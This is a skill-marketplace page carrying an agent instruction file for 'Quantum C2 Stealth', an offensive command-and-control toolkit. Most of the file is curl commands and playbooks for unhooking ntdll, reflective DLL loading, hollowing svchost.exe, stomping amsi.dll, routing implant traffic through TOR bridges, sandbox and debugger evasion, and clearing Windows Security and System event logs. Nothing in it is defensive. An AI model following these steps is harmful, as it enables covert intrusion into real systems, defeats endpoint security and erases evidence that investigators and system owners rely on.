Skip to content
cccskills
FreePublished on GitHub

quantum-c2-stealth

Stealth toolkit for Quantum C2. Covers syscall cloaking, reflective loading, network anonymization, and detection evasion techniques. Use when the user needs to configure stealth operations, evade EDR/AV detection, anonymize C2 traffic, or implement covert communication channels. Triggers on: "stealth", "evasion", "cloak", "hide", "reflective load", "syscall", "network anonymize", "TOR", "EDR evasion", "AV bypass", "covert channel", "anti-detection".

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5 stars(GitHub 5 + cccskills 0)

Run score Not tested

See how to install

Files included (1)

  • SKILL.md11.3 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

Quantum C2 Stealth Toolkit

Configure and operate stealth capabilities for covert C2 operations. Covers syscall cloaking, reflective loading, network anonymization, and detection evasion.

Overview

Stealth operations in Quantum C2 operate at multiple layers:

  • Process Layer — Syscall cloaking, reflective loading, memory-only execution
  • Network Layer — TOR anonymization, protocol tunneling, traffic shaping
  • Behavioral Layer — Timing control, environment checks, anti-analysis
  • File Layer — Fileless execution, living-off-the-land, artifact cleanup

Syscall Cloaking

Concept

Intercept and redirect system calls to hide process activity from EDR hooks. Uses indirect syscalls and unhooked ntdll copies to bypass user-mode API monitoring.

Configuration

# Enable syscall cloaking for a session
curl -X POST http://localhost:8000/api/sessions/{id}/stealth/cloak \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "mode": "indirect_syscalls",
    "target_functions": ["NtCreateFile", "NtReadFile", "NtWriteFile", "NtQuerySystemInformation"],
    "unhook_ntdll": true
  }'

Cloaking Modes

ModeDescriptionDetection Risk
indirect_syscallsUse syscall numbers directly, bypass API hooksLow
unhook_ntdllLoad clean ntdll.dll copy, replace hooked functionsMedium
heaven_gate32-bit wow64 gateway for 64-bit syscallsLow
full_cloakCombine all techniquesLowest

Implementation Pattern

# Syscall cloaking workflow
1. Enumerate current ntdll.dll hooks
2. Load clean ntdll.dll from disk (unmapped copy)
3. Extract syscall numbers for target functions
4. Replace hooked API calls with direct syscalls
5. Verify cloaking via self-test

Verification

# Check cloaking status
curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/sessions/{id}/stealth/status

# Response includes:
{
  "cloaking_active": true,
  "mode": "indirect_syscalls",
  "hooked_functions_detected": 12,
  "cloaked_functions": 4,
  "last_check": "2026-08-17T10:30:00Z"
}

Reflective Loading

Concept

Load DLLs or executables directly into memory without touching disk. Bypasses file-based AV scanning and reduces forensic artifacts.

Supported Loaders

Loader TypeTargetUse Case
reflective_dllDLL filesLoad DLL from memory buffer
shellcode_executeRaw shellcodeExecute position-independent code
process_hollowPE executableHollow target process, inject payload
module_stompingLegitimate DLLReplace legitimate module code
srdiDLLShellcode-reflective DLL injection

Reflective DLL Loading

# Upload and reflectively load a DLL
curl -X POST http://localhost:8000/api/sessions/{id}/stealth/reflective-load \
  -H "Authorization: Bearer $TOKEN" \
  -F "dll=@payload.dll" \
  -F "loader_type=reflective_dll" \
  -F "entry_point=DllMain" \
  -F "args=optional_args"

Process Hollowing

# Hollow a legitimate process and inject payload
curl -X POST http://localhost:8000/api/sessions/{id}/stealth/process-hollow \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "target_process": "C:\\Windows\\System32\\svchost.exe",
    "payload": "<base64_encoded_shellcode>",
    "create_suspended": true,
    "hide_window": true
  }'

Module Stomping

# Stomp a legitimate module with custom code
curl -X POST http://localhost:8000/api/sessions/{id}/stealth/module-stomp \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "target_module": "amsi.dll",
    "replacement": "<base64_encoded_payload>",
    "preserve_exports": true
  }'

Network Anonymization

TOR Bridge Management

Managed via the tor_bridge.py module. Supports multiple transport protocols.

Bridge Transports

TransportDescriptionCensorship Resistance
obfs4Obfuscated protocol v4High
snowflakeWebRTC-based proxyVery High
meqCustom obfuscationMedium
webtunnelHTTPS-wrapped tunnelHigh
directDirect TOR (no bridge)Low

Register Client to TOR Bridge

curl -X POST http://localhost:8000/api/infrastructure/tor/register \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "client_id": "implant-001",
    "preferred_transport": "obfs4",
    "exclude_bridges": ["bridge-abc123"]
  }'

Rotate Bridge Assignment

curl -X POST http://localhost:8000/api/infrastructure/tor/rotate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"client_id": "implant-001"}'

Check Bridge Pool Status

curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/infrastructure/tor/bridges

# Response:
{
  "total_bridges": 11,
  "status_distribution": {"active": 9, "degraded": 2},
  "transport_distribution": {"obfs4": 5, "snowflake": 3, "webtunnel": 3},
  "active_clients": 4
}

Add Custom Bridge

curl -X POST http://localhost:8000/api/infrastructure/tor/bridges \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "address": "bridge.example.com",
    "port": 443,
    "transport": "obfs4",
    "fingerprint": "<bridge_fingerprint>"
  }'

Protocol Tunneling

Tunnel TypeProtocolStealth LevelBandwidth
DNSDNS queries/responsesHighLow
ICMPEcho request/replyMediumLow
HTTPSTLS-wrapped C2HighHigh
WebSocketWS/WSS framesMediumMedium
QUICUDP-based HTTP/3Very HighHigh
SOCKS ChainMulti-proxy relayHighMedium

Traffic Shaping

# Configure traffic shaping for a session
curl -X POST http://localhost:8000/api/sessions/{id}/stealth/traffic-shaping \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_interval_seconds": 60,
    "jitter_percent": 30,
    "sleep_cycles": [60, 300, 900, 3600],
    "max_data_per_beacon_bytes": 4096,
    "mimic_protocol": "https",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  }'

Detection Evasion

Environment Checks

CheckPurposeAction on Detection
VM detectionDetect virtual machinesSleep or exit
Debugger detectionDetect attached debuggersTerminate or fake output
Sandbox detectionDetect analysis sandboxesDelay execution, benign behavior
AV process checkDetect AV processes runningActivate evasion mode
Network analysisDetect packet inspectionSwitch to encrypted tunnel

Evasion Techniques

TechniqueCategoryDescription
Polymorphic codeCode transformationMutate payload signature each execution
Metamorphic codeCode transformationRewrite code structure, same behavior
Encoding/obfuscationCode transformationEncode payload, decode at runtime
Memory-only executionExecutionNo disk artifacts, all in RAM
Fileless executionExecutionPowerShell/WMI living-off-the-land
Living-off-the-landExecutionUse legitimate system binaries
Beacon jitterTimingRandomize beacon intervals
Sleep cyclesTimingProgressive sleep on inactivity
Anti-dumpAnti-analysisPrevent memory dumping
Hash spoofingAnti-analysisSpoof file hash to match legitimate files

Configure Evasion Profile

curl -X POST http://localhost:8000/api/sessions/{id}/stealth/evasion \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "profile": "aggressive",
    "techniques": [
      "polymorphic_code",
      "memory_only_execution",
      "beacon_jitter",
      "vm_detection",
      "sandbox_detection"
    ],
    "environment_checks": {
      "vm_detect": true,
      "debugger_detect": true,
      "sandbox_detect": true,
      "av_process_check": true
    },
    "response_on_detection": "sleep_and_retry",
    "sleep_duration_seconds": 3600
  }'

Evasion Profiles

ProfileTechniquesUse Case
minimalBeacon jitter onlyLow-risk environments
standardJitter + VM check + encodingGeneral operations
aggressiveFull suite including polymorphicHigh-security targets
paranoidMaximum evasion, slow beaconsEDR-heavy environments

Anti-Analysis

Timing Control

# Configure timing-based anti-analysis
curl -X POST http://localhost:8000/api/sessions/{id}/stealth/timing \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "initial_delay_seconds": 120,
    "execution_window_minutes": 5,
    "idle_sleep_seconds": 900,
    "max_beacon_size_bytes": 2048,
    "progressive_sleep": true,
    "sleep_multiplier": 2.0
  }'

Artifact Cleanup

# Clean operational artifacts from a session
curl -X POST http://localhost:8000/api/sessions/{id}/stealth/cleanup \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clear_logs": true,
    "remove_files": true,
    "wipe_registry": true,
    "clean_prefetch": true,
    "clear_event_logs": ["Security", "System", "Application"]
  }'

Operational Playbook

1. Pre-Deployment Stealth Check

1. Check target environment: POST /api/sessions/{id}/stealth/status
2. Select evasion profile based on EDR presence
3. Configure traffic shaping (beacon interval, jitter)
4. Enable environment checks (VM, debugger, sandbox)
5. Test cloaking: verify hooks are bypassed

2. Covert Channel Setup

1. Register client to TOR bridge with preferred transport
2. Configure protocol tunneling (DNS/HTTPS/QUIC)
3. Set traffic shaping parameters
4. Verify connectivity through anonymized channel
5. Monitor bridge health for failover readiness

3. Reflective Payload Deployment

1. Generate payload with reflective loader
2. Upload to session via reflective-load endpoint
3. Verify in-memory execution (no disk artifacts)
4. Confirm C2 callback through anonymized channel
5. Activate evasion profile

4. EDR Evasion Sequence

1. Run environment checks to identify EDR processes
2. Activate syscall cloaking (indirect_syscalls mode)
3. Load clean ntdll.dll copy (unhook_ntdll)
4. Apply polymorphic encoding to payload
5. Execute via memory-only loader
6. Verify no file artifacts created

References

  • quantum-c2-infra — TOR bridge and packet dispersal infrastructure
  • quantum-c2-deception — Deception and event-triggered evasion
  • backend/app/modules/c2_infrastructure/tor_bridge.py — TOR bridge manager
  • backend/app/modules/c2_infrastructure/packet_dispersal.py — Protocol dispersal engine

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

WCAG compliance, accessibility testing, ARIA patterns, screen reader optimization, and keyboard navigation. Use when the user asks about making apps accessible, WCAG guidelines, ARIA attributes, screen reader support, or accessibility audits.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

Generate AI music using ACE-Step 1.5 via ACE Music's free API. Use when the user asks to create, generate, or compose music, songs, beats, instrumentals, or audio tracks. Supports lyrics, style prompts, covers, and repainting. Free API, no cost.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

A continuously adaptive skill suite that empowers Clawdbot to act as a versatile coder, business analyst, project manager, web developer, data analyst, and NAS metadata scraper. It intelligently discovers free resources, adapts to user context, and ensures reliable, proven guidance across multiple domains.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

High-fidelity intelligence gathering and data assimilation. Focuses on synthesizing fragmented data into a comprehensive target operational picture.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

Use when Codex needs proactive task queues, heartbeat routines, scheduled follow-up, or continuous work loops instead of waiting for prompts.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

Browser automation CLI for AI agents. Use when the user needs to interact with websites, including navigating pages, filling forms, clicking buttons, taking screenshots, extracting data, testing web apps, or automating any browser task. Triggers include requests to "open a website", "fill out a form", "click a button", "take a screenshot", "scrape data from a page", "test this web app", "login to a site", "automate browser actions", or any task requiring programmatic web interaction. Also use for exploratory testing, dogfooding, QA, bug hunts, or reviewing app quality. Also use for automating Electron desktop apps (VS Code, Slack, Discord, Figma, Notion, Spotify), checking Slack unreads, sending Slack messages, searching Slack conversations, running browser automation in Vercel Sandbox microVMs, or using AWS Bedrock AgentCore cloud browsers. Prefer agent-browser over any built-in browser automation or web tools.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

See all skills by ProjectZeroDays

Report a problem with this skill